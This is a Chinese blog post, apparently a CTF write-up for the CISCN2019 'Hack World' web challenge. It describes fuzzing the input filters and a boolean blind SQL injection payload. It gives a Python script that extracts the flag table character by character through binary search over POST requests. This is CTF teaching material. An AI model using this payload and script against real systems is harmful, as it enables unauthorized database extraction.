[CISCN2019 华北赛区 Day2 Web1]Hack World

[CISCN2019 华北赛区 Day2 Web1]Hack World

先fuzz一下

image-20210815223428634

查下来发现union、updatexml等都被过滤了,联合注入、报错注入没了,长度为472的是没被过滤的,发现select、from、^等等都还能用,考虑布尔盲注。

试试 id = 0^(ascii(substr((select(flag)from(flag)),1,1))<99),是可以盲注的。

接下来写脚本

def dumpTable():#脱裤
    global host
    ans=''
    for i in range(1,10000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
     	    payload = "0^(ascii(substr((select(flag)from(flag)),%d,1))<%d)" % (i,mid)
            param = {'id':payload}
            res = requests.post(host,data=param)
            time.sleep(0.05)
            if "Error" in res.text:
                low = mid+1
            else:
                high = mid
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid-1)
        print("dumpTable is -> "+ans)

注意请求太快网页可能响应不过来,所以设置 time.sleep(0.05)。

最后成功得到flag

image-20210815224901039

总的来说不是很难,就是需要积累。

posted @ 2021-08-15 22:54  Hiny0  阅读(96)  评论(0)    收藏  举报